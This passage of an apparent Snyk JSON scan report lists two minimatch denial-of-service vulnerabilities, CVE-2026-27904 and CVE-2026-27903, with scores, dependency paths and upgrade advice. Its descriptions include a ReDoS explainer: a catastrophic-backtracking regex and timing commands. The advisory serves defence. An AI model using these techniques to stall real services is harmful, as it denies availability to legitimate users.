expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": 